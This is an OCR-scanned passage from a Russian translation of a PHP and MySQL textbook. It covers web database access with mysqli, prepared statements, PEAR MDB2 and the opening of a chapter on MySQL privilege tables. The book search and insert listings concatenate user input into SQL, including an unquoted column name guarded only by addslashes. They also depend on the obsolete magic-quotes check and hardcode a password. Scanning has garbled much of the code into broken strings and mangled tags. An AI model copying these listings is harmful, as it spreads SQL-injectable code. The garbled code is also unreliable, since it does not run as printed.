данных через Интернет. Кроме того, будут рассмотрены некоторые более сложные приемы MySQL. Если необходима дополнительная информация по SQL, имеет смысл обратиться к описанию стандарта ANSI SQL, которое доступно по адресу http: //www. ansi. org/. Описание расширений MySQL по сравнению с ANSI SQL можно найти на Web- сайте MySQL по адресу http: / /www. mysql. com/. Что дальше В главе 11 будет показано, как получить доступ к базе данных приложения “Буквофил” через Интернет. Глава 10. Работа,с базой данных MySQL 265
11 Веб-доступ к базе данных MySQL с помощью РНР До сих пор при работе с РНР для хранения и извлечения данных мы использова- ли двумерные файлы. Когда этот вопрос рассматривался в главе 2, говорилось о том, что применение систем реляционных баз данных в веб-приложении обеспечи- вает значительно более простое, безопасное и эффективное выполнение задач хра- нения и извлечения данных. Теперь, поработав с MySQL над созданием базы данных, можно приступать к подключению этой базы данных к внешнему веб-ийтерфейсу. В этой главе будет показано, как с помощью РНР получить доступ к БД “Буквофил” через Интернет. Вы научитесь выполнять чтение из базы и запись в нее данных, а также отфильтровывать потенциально опасные входные данные. В главе рассматриваются следующие темы. Как работает архитектура баз данных для Интернет-доступа. Основные шаги выполнения Интернет-запросов к базе данных. Установка соединения. Получение информации о доступных базах данных. Выбор базы данных. Выполнение запроса к базе данных. Получение результатов запроса. Отсоединение от базы данных. Внесение новой информации в базу данных. Использование подготовленных операторов. Использование других PHP-интерфейсов работы с базами данных. Использование обобщенного интерфейса базы данных: PEAR MDB2. 266 Часть II. Использование MySQL
Как работает архитектура баз данных для Мнтернет-доступа В главе 8 мы в общих чертах выяснили, как работает архитектура баз данных для Интернет-доступа. Еще раз напомним шаги, предпринимаемые в ходе работы. 1. Веб-браузер пользователя отправляет HTTP-запрос определенной веб-страни- цы. Например, может быть выдан запрос на поиск в магазине “Буквофил” всех книг, написанных Джоан Роулинг, с использованием HTML-формы. Страница с результатами поиска называется results. php. 2. Веб-сервер принимает запрос на results. php, извлекает файл и передает его на обработку интерпретатору РНР. 3. Интерпретатор РНР начинает анализ сценария. Сценарий содержит команду под- ключения к базе данных и выполнения запроса (на поиск книг). РНР открывает соединение с сервером MySQL и отправляет ему соответствующий запрос. 4. Сервер MySQL принимает запрос базы данных, обрабатывает его, а затем отправ- ляет результаты — в данном случае, список книг — обратно интерпретатору РНР. 5. Интерпретатор РНР завершает выполнение сценария — обычно это формати- рование результатов запроса в виде HTML — после чего возвращает результаты в HTML-формате веб-серверу. 6. Веб-сервер пересылает браузеру HTML-страницу, в которой пользователь может просмотреть список необходимых книг. Теперь м'ы располагаем базой данных MySQL, поэтому можем создать PHP-код для выполнения описанных шагов. Начнем с поисковой формы. Это простая HTML-фор- ма, код которой приведен в листинге 11.1. Листинг 11.1. search.html — поисковая страница для БД “Буквофил” <html> <head> <title>Mara3MH "Буквофил” - Поиск в каталоге</Ё1Г1е> </head> <body> <Ы>Магазин "Буквофил" - Поиск в каталоге</Ы> <form action="results.php" method="post"> Выберите тип поиска:<br /> <select name="searchtype"> Option value="author">no aBTopy</option> Option value="title">no названиях/option> Option value="isbn">no ISBN</option> </select> <br /> Введите информацию для поиска:Or /> <input type="text" name="searchterm" size="40" /> Or /> <input type="submit" name="submit" value="HanTn" /> </form> </body> </html> Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 267
Это самая обычная HTML-форма. Ее внешний вид показан на рис. 11.1. • % Магазин Бухвофш** - Пояск в каталоге -Hozffla Firefox Fite Edit View History gpokmarks Tools Help * О л-v- ‘gj ; J ;htto://foca^t^4^ysc?/ll/search.htjrf ,.j ’ i Магазин "Буквофил" - Поиск в каталоге Выберите тип поиска: . По автору ▼ Введите информацию для поиска: Найти Dor® Рис. 11.1. Поисковая форма является достаточно общей, то есть книгу можно искать по названию, автору или номеру ISBN После щелчка на кнопке Найти вызывается сценарий results.php. Его полный код показан в листинге 11.2. В данной главе мы рассмотрим, что конкретно делает этот сценарий и как он работает. Листинг 11.2. results .php — извлекает результаты запроса из базы данных MySQL и форматирует их для отображения <html> <head> <title>Mara3HH "Буквофил” - Результаты noncKa</title> </head> <body> <Н1>Магазин "Буквофил" - Результаты поиска</Ы> <?php // создание коротких имен переменных $searchtype = $_POST['searchtype']; $searchterm = trim($_POST['searchterm’]); if (!$searchtype || !$searchterm) { echo 'Вы не ввели параметры поиска. Вернитесь' . ' на предыдущую страницу и повторите ввод.'; exit; } if (!get_magic_quotes_gpc ()) { $searchtype = addslashes($searchtype); $searchterm = addslashes($searchterm); } @ $db = new mysqli('localhost', 'bookorama', 'bookoramal23', 'books'); if (mysqli_connect_errno()) { echo 'Ошибка: He удалось установить соединение' . ' с базой данных. Повторите попытку позже.'; exit; } $query = "select * from books where ".$searchtype." like '%".$searchterm.; $result = $db->query($query); $num_results = $result->num_rows; echo "<р>Найдено книг: ".$num_results."</p>"; 268 Часть II. Использование MySQL
for ($i = 0; $i < $num_results; $i++) { $row = $result->fetch_assoc(); echo "<p><stropg>".($i+l) . " . Название: echo htmlspecialchars (stripslashes($row[’title'])); echo "</strongXbr />Автор: echo stripslashes($row['author']); echo "<br />ISBN: echo stripslashes($row['isbn’]); echo ”<br />Цена: echo stripslashes($row[’price']); echo "</p>”; } $result->free (); $db->close(); </body> </html> Обратите внимание, что сценарий позволяет вводить групповые символы MySQL: % и (подчеркивание). Эта возможность исключительно полезна для пользователей. Если упомянутые символы создают проблемы в вашем приложении, их можно лите- рализовать. Результат использования этого сценария для выполнения поиска показан на рис. 11.2. Рис. 11.2. Результаты поиска в базе данных книг по Java с помощью сценария results. php, представленные в виде веб-страницы Выполнение Интернет-запросов к базе данных В любом сценарии, который обеспечивает веб-доступ к базе данных, необходимо выполнить ряд элементарных шагов. 1. Проверить и отфильтровать данные, поступающие от пользователя. 2. Установить соединение с требуемой базой данных. 3. Выполнить запрос к базе данных. 4. Получить результаты. 5. Представить результаты пользователю. Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 269
Именно эти действия и предпринимает сценарий results .php, и мы по очереди исследуем каждое из них. Проверка и фильтрация входных данных Прежде всего, необходимо удалить все лишние пробельные символы, которые пользователь мог случайно ввести до или после критерия поиска. Это делается с по- мощью функция trim (), применяемой к значению $searchterm во время создания коротких имен: $searchterm = trim($_POST['searchterm']); Следующий этап — проверка того, что пользователь указал критерий поиска и выбрал тип поиска. Обратите внимание, что она выполняется лишь после удаления лишних пробелов по краям критерия поиска. Если поменять эти действия местами, может возникнуть ситуация, когда критерий не был пустым и поэтому не привел к выводу сообщения об ошибке, но при этом содержал только пробелы, которые пол- ностью удаляются функцией trim (): if (!$searchtype || !$searchterm) { echo ’Вы не ввели параметры поиска. Вернитесь' . ' на предыдущую страницу и повторите ввод.'; exit; } Здесь же была выполнена проверка переменной $ searchtype, несмотря на то, что в данном случае она поступает из HTML-дескриптора SELECT. Может возник- нуть вопрос, зачем нужно проверять входные данные, которые не могут быть пусты- ми. Не забывайте, что с базой данных может быть связан далеко не один интерфейс. Например, компания Amazon располагает большим количеством филиалов, которые используют свои поисковые интерфейсы. Кроме того, важно защитить данные на случай возникновения каких-либо проблем безопасности, связанных с тем, что поль- зователи могут заходить с разных рабочих станций. Если предполагается ввод пользователем каких-то данных, важно исключить из них любые управляющие символы. Как вы, наверное, помните, в главе 4 говорилось о функциях addslashes (), stripslashes () и get_magic_quotes_gpc (). Необходимо литерализовать управляющие символы в данных, введенных пользователем, перед со- хранением их в базе. В нашем случае осуществляется проверка значения, возвращаемого функцией get magic quotes gpc (). Это значение указывает, выполняется ли автоматическое взятие в кавычки. Если это не так, то управляющие символы литерализуются с помо- щью функции addslashes (): if (!get_magic_quotes_gpc()) { $searchtype = addslashes($searchtype); $searchterm = addslashes($searchterm); } А при выборке данных из базы понадобится функция stripslashes (). Если маги- ческие кавычки включены, то после выборки из базы данные могут содержать лиш- ние слеши, и их необходимо убрать. Функция htmlspecialchars () используется для кодировки символов, которые имеют специальное значение в HTML. Наши тестовые данные не содержат символов амперсанда (&), знаков “меньше” (<), “больше” (>) или двойных кавычек ("), однако 270 Часть II. Использование MySQL
амперсанд может встречаться в названиях многих книг. Использование этой функции поможет избежать ошибок в будущем. Установка соединения В РНР имеется библиотека для подключения к MySQL, которая называется mysqli (“i” означает “improved” — “улучшенная”). При ее использовании в РНР можно задей- ствовать либо объектно-ориентированный, либо процедурный синтаксис. Для соединения с сервером MySQL служит следующая строка сценария: @ $db = new mysqli('localhost', 'bookorama', 'bookoramal23', 'books'); В этой строке создается экземпляр класса mysqli и предпринимается попытка соединения с хостом 'localhost’ от имени пользователя bookorama и паролем bookoramal23. Соединение будет использовать базу данных books. В соответствии с объектно-ориентированным подходом теперь можно вызывать методы полученного объекта для доступа к базе данных. Если вы предпочитаете про- цедурный подход, mysqli допускает и его. В этом случае подключение будет выгля- деть следующим образом: @ $db = mysqli_connect (' localhost', 'bookorama', 'book,oramal23',.'books') ; Приведенная функция возвращает ресурс, а не объект. Этот ресурс представляет собой соединение с базой данных, и при использовании процедурного подхода нуж- но передавать его во все остальные функции mysqli. Данный подход очень похож на работу с файловыми функциями наподобие fopen (). Большинство функций mysqli имеют и объектно-ориентированный, и процедур- ный интерфейс. В общем случае, отличия между ними заключаются в том, что имена процедурных вариантов функций начинаются с префикса mysqli_, и им необходимо передавать ресурс, который получен в результате вызова функции mysqli connect (). Исключением из этого правила является подключение к базе данных, так как оно вы- полняется конструктором класса mysqli. Результат попытки подключения должен быть проверен, поскольку в случае не- удачного подключения остальной код работать не будет. Проверка осуществляется с помощью следующего кода: if (mysqli_connect_errno()) { echo 'Ошибка: Не удалось установить соединение' . ' с базой данных. Повторите попытку позже.'; exit; } (Этот код одинаков и для объектно-ориентированной, и для процедурной вер- сии.) Функция mysqli connect errno () возвращает номер ошибки либо 0 в случае удачного подключения. Обратите внимание, что строка, в которой предпринимается попытка подключе- ния к базе данных, начинается с операции подавления ошибок @. В этом случае мож- но организовать собственную обработку ошибочных ситуаций. (Обработку ошибок можно также реализовать и с помощью исключений^ однако в данном простом при- мере было решено их не использовать.) Следует помнить, что в MySQL количество соединений, которые могут су- ществовать одновременно, ограничено. Этот предел определяется параметром max connections. Его назначение (как и родственного ему параметра MaxClients Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 271
для веб-сервера Apache) — указать серверу, чтобы он отклонял новые запросы на со- единение, чтобы не допустить полного использования ресурсов компьютера в часы наивысшей загрузки или при аварии программного обеспечения. Значения этих параметров можно изменять, редактируя конфигурационные фай- лы. Чтобы установить значение параметра MaxClients в Apache, следует внести из- менения в файл httpd. conf. Настройка параметра max connections в MySQL осуще- ствляется путем редактирования файла my. conf. Выбор базы данных Работая с MySQL из командной строки, необходимо указывать используемую базу данных: use books; То же самое необходимо и при Интернет-подключении. База данных, которая должна использоваться, указывается в параметре конструктора mysqli или функции mysqli connect (). Если впоследствии понадобится изменить используемую базу дан- ных, для этого служит функция mysqli select db (), доступ к которой осуществля- ется следующим образом: $db->select_db(имя_БД) или mysqli_select_db (ресурс_БД, имя_БД) И здесь поддерживаются обе версии функции — объектно-ориентированная и про- цедурная, — причем процедурная отличается лишь префиксом mysqli_ в имени и па- раметром, в котором должен передаваться ресурс подключения. Выполнение запроса к базе данных Чтобы выполнить запрос, необходимо воспользоваться функцией mysqli query (). Однако сначала этот запрос необходимо сформировать: $query = "select * from books where ".$searchtype." like '.$searchterm. В этом случае будет выполняться поиск значения, введенного пользователем ($searchterm) в указанном им поле ($searchtype). Обратите внимание, что для про- верки соответствия мы употребили операцию like, а не equal — при поиске в базе данных обычно имеет смысл несколько расширить границы поиска. Совет Важно помнить, что запрос, отправляемый базе данных MySQL, не требует присутствия в конце точки с запятой, в отличие от запроса, который вводится в среде монитора MySQL. Теперь можно выполнить запрос: $result = $db->query ($query); Либо, если вы предпочитаете процедурный интерфейс, запрос будет выглядеть так: $result = mysqli_query($db, $query); 272 Часть II. Использование MySQL
Вы передаете запрос, который необходимо выполнить, и, в случае процедурного интерфейса, связь с базой данных (в этом примере $db). Объектно-ориентированная версия возвращает объект результата, а процедурная версия — ресурс результата (как при вызове функции подключения к базе данных). В любом случае возвращаемое значение сохраняется в переменной ($result) для дальнейшего использования. В случае ошибки функция возвращает значение false. Получение результатов запроса Существует множество функций, которые позволяют различными способами вы- членять нужные фрагменты из объекта или идентификатора результата. Объект или идентификатор результата — это ключ доступа к возвращенным запросом строкам. В нашем примере мы подсчитали количество возвращенных запросом строк и воспользовались функцией mysqli fetch assoc (). В случае объектно-ориентированного подхода количество возвращенных строк хранится в элементе num rows объекта результата; обратиться к нему можно следующим образом: $num_results = $result->num_rows; При процедурном подходе для получения количества возвращенных срок ис- пользуется функция mysqli num rows (), которой необходимо передать идентифи- катор результата: $num_results = mysqli_num_rows($result); Эта информация нужна, если планируется обрабатывать или отображать результа- ты, поскольку позволяет организовать цикл по ним: for ($i = 0; $i < num_results; $i++) { // обработка результатов } В каждой итерации этого цикла происходит вызов $result->fetch_assoc () (или mysqli f etch assoc ()). При отсутствии возвращенных строк цикл не будет выпол- няться. Именно эта функция извлекает каждую строку из результирующего набора и возвращает ее в виде массива, в котором каждый ключ является именем атрибута, а каждое значение — соответствующим значением: $row = $result->fetch_assoc(); Либо с использованием процедурного подхода: $row = mysqli_fetch_assoc($result); Имея массив $row, можно перебрать все поля и должным образом отобразить ка- ждое из них: echo "<br />ISBN: echo stripslashes($row[’isbn']); Как упоминалось ранее, stripslashes () вызывается для того, чтобы “подчис- тить” значение, прежде чем отображать его пользователю. Существует несколько вариантов получения результата из идентификатора резуль- тата. Вместо массива с именованными ключами можно воспользоваться нумерован- ным массивом, применив mysqli_fetch_row (): $row = $result->fetch_row(); Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 273
или, в случае процедурного подхода: $row = mysqli_fetch_row($result) ; Значения атрибутов хранятся в значениях $row[0], $row[l] и так далее. (Функция mysqli fetch array () позволяет выбрать строку таблицы в виде массива обоих типов.) С помощью функции mysqli fetch object () можно также выбрать строку для помещения внутрь объекта: $row = $result->fetch_object(); или так: $row = mysqli_fetch_object($result); После этого доступ к каждому атрибуту можно получить с помощью $row->title, $row->author и т.д. Отсоединение от базы данных Освобождение результирующего набора выполняется следующим образом: $result->free(); или mysqli_free_result ($result); Затем можно закрыть соединение с базой данных: $db->close (); или mysqli_close ($db) ; В явном отсоединении нет особой необходимости, поскольку по завершении вы- полнения сценария соединение будет закрыто автоматически. Внесение новой информации в базу данных Вставка новых элементов в базу данных поразительно похожа на извлечение эле- ментов из базы данных. Необходимо выполнить те же действия — установить соеди- нение, отправить запрос и проверить результаты. Только в данном случае вместо опе- ратора SELECT будет использоваться INSERT. Хоть все вроде и просто, взглянуть на пример не помешает. На рис. 11.3 показана обычная HTML-форма для занесения новых книг в базу данных. Магазин "Букаофкл”-Зваесеиие новой книги- МогЯа Hrefox , Ие» Hgtory gookmarks look Help v С X tsj- . 1 bttpi;?A>calhost/phpmysql/llA»wboc*.ht!^ Магазин ’’Буквофил" - Форма ввода новой книги ISBN Автор Название Цена, S ’ ^ Занести Done Рис. 11.3. Интерфейс для занесения новых книг в базу данных, который может использоваться персоналом магазина “Буквофил” 274 Часть II. Использование MySQL
HTML-код этой страницы приведен в листинге 11.3. Листинг 11.3. newbook. html - HTML-код страницы ввода информации о новых книгах <html> <head> <title>Mara3HH "Буквофил" - Занесение новой KHnrn</title> </head> <body> <Ы>Магазин "Буквофил" - Форма ввода новой книги</Ы> <form action="insert_book.php" method="post"> <table border="0"> <tr> <td>ISBN</td> <tdxinput type="text" name="isbn" maxlength="13" size="13"x/td> </tr> <tr> <tЬ>Автор</td> <tdxinput type="text" name="author" maxlength="30" size="30"X/td> </tr> <tr> <td>Ha3BaHne</td> <tdxinput type="text" name="title" maxlength="60" size="30"x/td> </tr> <tr> <ЬЬ>Цена, $</td> <tdxinput type="text" name="price" maxlength="7" size="7"x/td> </tr> <tr> <td colspan="2"Xinput type="submit" value="3aHecTn"X/td> </tr> </table> </form> I </body> </html> Результаты заполнения этой формы передаются в сценарий insert book.php, который принимает информацию, выполняет несколько несложных проверок и пыта- ется записать данные в базу данных. Код этого сценария представлен в листинге 11.4. Листинг 11.4. insert book. php — этот сценарий записывает новые книги в базу данных <html> <head> <title>Mara3HH "Буквофил" — Результат ввода новой книги</Ь1Ь1е> </head> <body> <Ь1>Магазин "Буквофил" — Результат ввода новой книги</Ь1> <?php // создание коротких имен переменных $isbn=$_POST['isbn']; $author=$_POST[’author']; $title=$_POST[’title’]; $price=$_POST['price']; Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 275
if (!$isbn || !$author || !$title II !$price) { echo "Вы ввели не все необходимые сведения.<br />" . "Вернитесь на предыдущую страницу и повторите ввод."; exit; } if (!get_magic_quotes_gpc()) { $isbn = addslashes($isbn); $author = addslashes($author) ; $title = addslashes($title) ; $price = doubleval($price); } @ $db = new mysqli(’localhost', 'bookorama’, 'bookoramal23', 'books'); if (mysqli_connect_errno()) { echo "Ошибка: He удалось установить соединение" . " с базой данных. Повторите попытку позже."; exit; } $query = "insert into books values ('".$isbn."', '".$author."', '".$title."', '".$price."')"; $result = $db->query($query); if ($result) { echo $db->affected_rows." книга добавлена в базу данных."; } else { echo "Произошла ошибка. Книга не занесена."; } $db->close() ; ?> </body> </html> Результаты успешного добавления книги в базу данных можно видеть на рис. 11.4. Магазин "Буквафвл"—Результат ввода новой кмин - НОДЙа Firefox . И 111 Не Bit £ew Hstory Bookmarks Jods Help * С X ш http:/Ax^host^3hpmys^/ll>iseft_book.^ 4 Магазин ’’Буквофил" — Результат ввода новой книги 1 книга добавлена в базу данных Dors Рис. 11.4. Сценарий завершен успешно и сообщает о добавлении книги в базу данных После изучения кода insert book.php становится ясно, что он во многом похож на код сценария для извлечения информации из базы данных. Мы проверяем, что все поля формы заполнены, и, если необходимо, форматируем их с помощью функ- ции addslashes () для вставки в базу данных: 276 Часть II. Использование MySQL
if (’get_magic_quotes_gpc()) { $isbn = addslashes($isbn); $author = addglashes($author); $title = addslashes($title); $price = doubleval($price); } Поскольку цены хранятся в базе в виде чисел с плавающей точкой, им не нуж- ны слеши. Этого же можно добиться с помощью функции doubleval (), которая от- фильтровывает все неподходящие символы в числовом поле — она рассматривалась в главе 1. Эта же функция позаботится и обо всех символах валюты, которые пользо- ватель может ввести в форму. Мы снова соединяемся с базой данных, создавая экземпляр mysqli и подготавли- вая запрос, который должен быть отправлен в базу данных. В данном случае это SQL- запрос INSERT: $query = "insert into books values (’".$isbn."’, ”'.$author."', '". $title. "’ , ’".$price."’)"; $result = $db->query($query) ; Этот запрос выполняется в базе данных с помощью вызова $db->query() (или mysqli query (), если вы предпочитаете процедурный подход). Одно существенное различие между SQL-операторами INSERT и SELECT связано с использованием функции mysqli af fected rows О . В процедурной версии это дей- ствительно функция, тогда как в объектно-ориентированной версии она представля- ет собой переменную-член класса: echo $db->affected_rows." книга добавлена в базу данных."; В предыдущем сценарии функция mysqli num rows () применялась для опреде- • ления количества строк, возвращаемых запросом SELECT. При написании запросов, которые изменяют базу данных, например, INSERT, DELETE, UPDATE, вместо этой функ- ции следует использовать mysqli_af fected_rows (). Вот мы ознакомились с основами использования баз данных MySQL из РНР. Использование подготовленных операторов Библиотека mysqli поддерживает использование подготовленных операторов. Они полезны для ускорения многократного выполнения одних и тех же запросов, но с разными данными. Подготовленные операторы также предохраняют от атак вне- дрения SQL-кода во вводимые данные. Основная концепция подготовленного оператора состоит в раздельной отправке MySQL шаблона запроса, который должен быть выполнен, и данных для этого шаб- лона. Вы можете посылать множество однотипных данных одному подготовленному оператору; эта возможность очень полезна при выполнении групповых вставок. В сценарии insert book.php подготовленные операторы можно применять сле- дующим образом: $query = "insert into books values(?, ?, ?, ?)"; $stmt = $db->prepare($query); $stmt->bind_param("sssd", $isbn, $author, $title, $price); $stmt->execute(); echo $stmt->affected_rows.’ книга добавлена в базу данных.’; $stmt->close(); Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 277
Рассмотрим приведенный код, строка за строкой. При построении запроса вместо каждого фрагмента данных помещается знак во- проса (?). При этом не используются ни кавычки, ни какие-либо другие разделитель- ные символы. Во второй строке вызывается $db->prepare () или mysqli stmt prepare () в процедурной версии. Эта строка создает объект оператора или ресурс, который за- тем будет использоваться для дальнейшей обработки. В объекте оператора определен метод bind param (). (В процедурной версии это функция mysqli_stmt_bind_param ().) Назначение bind_param () состоит в том, что- бы сообщить РНР, какими перемёнными должны быть замещены знаки вопроса в за- просе. Первый параметр представляет собой строку, чем-то похожую на строку фор- мата, используемую в функции printf (). Используемое значение, "sssd", означает, что будут передаваться три строки и число двойной точности. Допускается также передача целочисленного значения (i) и большого двоичного объекта (Ь). После па- раметра формата должны следовать переменные, значения которых будут замещать знаки вопроса в запросе, в порядке их следования. Вызов $stmt->execute () (mysqli stmt execute () в процедурной версии) вы- полняет запрос. Затем можно посмотреть количество задействованных строк и за- крыть оператор. Чем же так полезен подготовленный оператор? Замечательно то, что можно из- менить значения четырех связываемых переменных и еще раз выполнить запрос без необходимости его подготовки. Данная возможность исключительно полезна при вы- полнении крупных групповых вставок. Подобно связыванию параметров, можно связывать и результаты. Для запросов SELECT можно использовать $stmt->bind_result () (или mysqli_stmt_bind_result ()) для построения списка переменных, в которые должны помещаться столбцы резуль- тата. Каждый раз, когда вы вызываете $stmt->fetch () (или mysqli_stmt_fetch ()), значения столбцов из следующей строки результирующего набора заносятся в задан- ные переменные связи. Например, в рассмотренном выше сценарии поиска книг можно было бы воспользоваться следующим оператором: $stmt->bind_result ($isbn, $author, $title, $price); для связывания перечисленных четырех переменных с четырьмя столбцами, возвра- щаемыми запросом. После вызова $stmt->execute (); можно повторять в цикле следующий вызов: $stmt->fetch(); Каждое такое обращение извлекает из результата следующую строку и заносит ее в переменные. В одном и том же сценарии можно использовать и mysqli stmt bind param (), и mysqli_stmt_bind_result (). Использование других РНР-интерфейсов работы с базами данных РНР поддерживает библиотеки для подключения к огромному количеству баз дан- ных, включая Oracle, Microsoft SQL Server и PostgreSQL. 278 Часть II. Использование MySQL
В целом принципы подключения и запроса к любой из этих баз данных во многом совпадают. Имена функций могут различаться, а различные базы данных могут пре- доставлять разные функциональные возможности, но если вы умеете подключаться к MySQL, эти знания легко применить и в отношении любой другой базы данных. Если необходимо использовать базу данных, которая не имеет специфической библиотеки, доступной в РНР, можно прибегнуть к обобщенным функциям ODBC. ODBC (Open Database Connectivity) — это открытый интерфейс доступа к базам дан- ных, который является стандартом подключения к базам данных. Функциональные возможности ODBC достаточно ограничены, однако на то имеются вполне очевид- ные причины: универсальная совместимость не сочетается с использованием специ- фических возможностей какой-то конкретной системы. В дополнение к библиотекам, поставляемым с РНР, доступны также такие классы абстракции баз данных, как MDB2, позволяющие использовать одни и те же имена функций для различных типов баз данных. Использование обобщенного интерфейса базы данных: PEAR MDB2 Рассмотрим краткий пример использования уровня абстракции PEAR MDB2. Это один из наиболее широко используемых компонентов PEAR. Инструкции по инстал- ляции уровня абстракции MDB2 приведены в приложении А. Для сравнения взгляните, как можно было бы записать сценарий получения ре- зультатов поиска с использованием MDB2. Листинг 11.5'. results_generic.php — этот сценарий получает результаты поиска из базы данных MySQL и форматирует их для отображения <html> <head> <title>Mara3HH "Буквофил" - Результаты noncKa</title> </head> <body> <Ь1>Магазин "Буквофил" - Результаты поиска</Ь1> <?php // создание коротких имен переменных $searchtype = $_POST['searchtype']; $searchterm = $_POST['searchterm']; $searchterm = trim($searchterm); if (!$searchtype || !$searchterm) { echo 'Вы не ввели параметры поиска. Вернитесь' . ' на предыдущую страницу и повторите ввод. exit; } if (!get_magic_quotes_gpc () ) { $searchtype = addslashes($searchtype); $searchterm = addslashes($searchterm); } i II настройка для использования PEAR MDB2 require_once('MDB2.php'); Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 279
$user = ’bookorama’; $pass = 'bookoramal23'; $host = 'localhost'; $db_name = ’books'; // настройка строки универсального соединения или DSN $dsn = "mysqli : / . $user. ’’: " . $pass. . $host. . $db_name"; / / соединение с базой данных $db = &MDB2::connect($dsn); // проверка работоспособности соединения if (MDB2::isError($db)) { echo $db->getMessage(); exit; I/ выполнение запроса $query = "select * from books where ".$searchtype." like '%" . $searchterm."%' $result = $db->query($query); // проверка, что запрос выполнен правильно if (MDB2::isError($result) )-{ echo $db->getMessage(); exit; } // получение количества возвращенных строк $num__results = $result->numRows () ; // вывод каждой возвращенной строки for ($i=0; $i < $num_results; $i++) { $row = $result->fetchRow(DB_FETCHMODE_ASSOC); echo "<p><strong>" . ($i+l)-. " . Название: "; echo htmlspecialchars(stripslashes($row[’title'])); echo "</strong><br />Автор: "; echo stripslashes($row[’author']); echo "<br />ISBN: echo stripslashes($row[’isbn’]); echo "<br />Цена: "; echo stripslashes($row[’price']); echo "</p>"; / / отсоединение от базы данных $db->disconnect(); </body> </html> Посмотрим, чем этот сценарий отличается от использованного ранее. Для подключения к базе данных служит строка: $db = MDB2::connect($dsn); 280 Часть II. Использование MySQL
Эта функция принимает универсальную строку соединения, содержащую все пара- метры, необходимые для подключения к базе данных. В этом легко убедиться, взгля- нув на формат строки соединения: $dsn = "mysqli:.$user.":".$pass. .$host..$db_name"; Затем с помощью метода isError () мы проверяем наличие ошибки при установ- ке соединения, и, если ошибка произошла, выводим сообщение об ошибке и осуще- ствляем выход: if (MDB2::isError($db)) { echo $db->getMessage(); exit; } Далее, при условии, что все было выполнено правильно, мы составляем запрос и выполняем его: $result = $db->query($query); Мы можем проверить количество возвращенных строк: $num_results = $result->numRows(); Извлечение каждой строки выполняется следующим образом: $row = $result->fetchRow(DB_FETCHMODE_ASSOC) ; Обобщенный метод fetchRowQ позволяет осуществлять выбор строки во мно- жестве различных форматов — параметр DB FETCHMODE ASSOC указывает, что строку следует вернуть в виде ассоциативного массива. После вывода возвращенных строк сценарий завершается закрытием соединения с базой данных: $db->disconnect(); Как видите, этот обобщенный пример во многом похож на первый сценарий. Преимущество использования MDB2 состоит в том, что нужно запомнить только один набор функций работы с базой данных, и, если придется изменить СУБД, то код потребует лишь минимальных изменений. Поскольку эта книга посвящена MySQL, для увеличения скорости работы и гиб- кости мы будем пользоваться встроенными библиотеками MySQL. Тем не менее, в реальных проектах может потребоваться использовать пакет MDB2, поскольку в ряде случаев подобный уровень абстракции оказывается буквально незаменимым. Дополнительные источники информации Дополнительно о совместном использовании MySQL и РНР можно прочитать в соответствующих разделах руководств по РНР и MySQL. Информация об ODBC доступна по адресу http г//www. webopedia. com/TERM/О/ ODBC.html. Что дальше В следующей главе мы подробнее рассмотрим вопросы администрирования MySQL и обсудим способы оптимизации работы базы данных. Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 281
12 Дополнительные сведения по администрированию MySQL В этой главе освещены некоторые более сложные темы, связанные с использова- нием MySQL, в том числе расширенные полномочия, безопасность и оптимиза- ция. В главе рассматриваются следующие темы. Подробное ознакомление с системой полномочий. Обеспечение безопасности базы данных MySQL. Получение дополнительной информации о базах данных. Ускорение выполнения запросов за счет использования индексов. Оптимизация базы данных. Резервное копирование и восстановление. Реализация репликации. Подробное ознакомление с системой полномочий В главе 9 был описан процесс определения пользователей и предоставления им полномочий. Для предоставления полномочий служит команда GRANT. Если вы соби- раетесь выполнять администрирование базы данных MySQL, полезно знать, что имен- но выполняет эта команда и как из нее извлечь максимальную пользу. Выполнение оператора GRANT оказывает влияние на таблицы в специальной базе данных с именем mysql. Информация о полномочиях хранится в шести таблицах этой базы данных. Учитывая этот факт, при выдаче полномочий для работы с базами дан- ных следует с осторожностью предоставлять доступ к базе данных mysql. Просмотреть содержимое базы данных mysql можно, входя в систему в качестве администратора и набрав следующую команду: use mysql; 282 Часть II. Использование MySQL
После этого таблицы в этой базе данных можно просматривать как обычно, с по- мощью команды: show tables; Результат выполнения команды будет выглядеть подобно показанному ниже: +---------------------------+ I Tables_in_mysql | +---------------------------+ | columns_priv | I db I I func I I help_category I I help_keyword | I help_relation | I help_topic | I host I I proc I I procs_priv | I tables_priv | I time_zone | I time_zone_leap_second I I time_zone_name I I time_zone_transition I I time_zone_transition_type I I user I I user_info | +--------------------------+ Каждая из таблиц этой базы данных содержит системную информацию. Шесть из них — user, host, db, tables_joriv, columnsjpriv и procs_priv — хранят информа- цию о полномочиях. Иногда их называют таблицами полномочий. Эти таблицы разли- чаются своими специфическими функциями, но все они служат одной общей цели определения того, какие действия разрешено выполнять пользователям, а какие за- прещено. Каждая из них содержит два типа полей: поля области действия, опреде- ляющие пользователя, хост и часть базы данных, к которым применимы данные пол- номочия; и поля полномочий, которые определяют действия, разрешенные данному пользователю в данной области действия. Таблицы user и host служат для определения того, может ли пользователь вообще подключаться к серверу MySQL, а также того, обладает ли он полномочиями админи- стратора. Таблицы db и host определяют базы данных, к которым пользователь может получать доступ. Таблица tables priv определяет доступные пользователю таблицы внутри базы данных, таблица columns priv — доступные столбцы внутри таблиц, а таблица procs priv — подпрограммы, которые может выполнять пользователь. Таблица user Таблица user содержит сведения о глобальных полномочиях пользователей. Она определяет, может ли пользователь вообще подключаться к серверу the MySQL, и предоставлены ли ему какие-либо полномочия глобального уровня — т.е. полномочия, применимые к каждой базе данных в системе. Структуру этой таблицы можно просмотреть с помощью оператора describe user;. Схема таблицы user представлена в табл. 12.1. Глава 12. Дополнительные сведения по администрированию MySQL 283
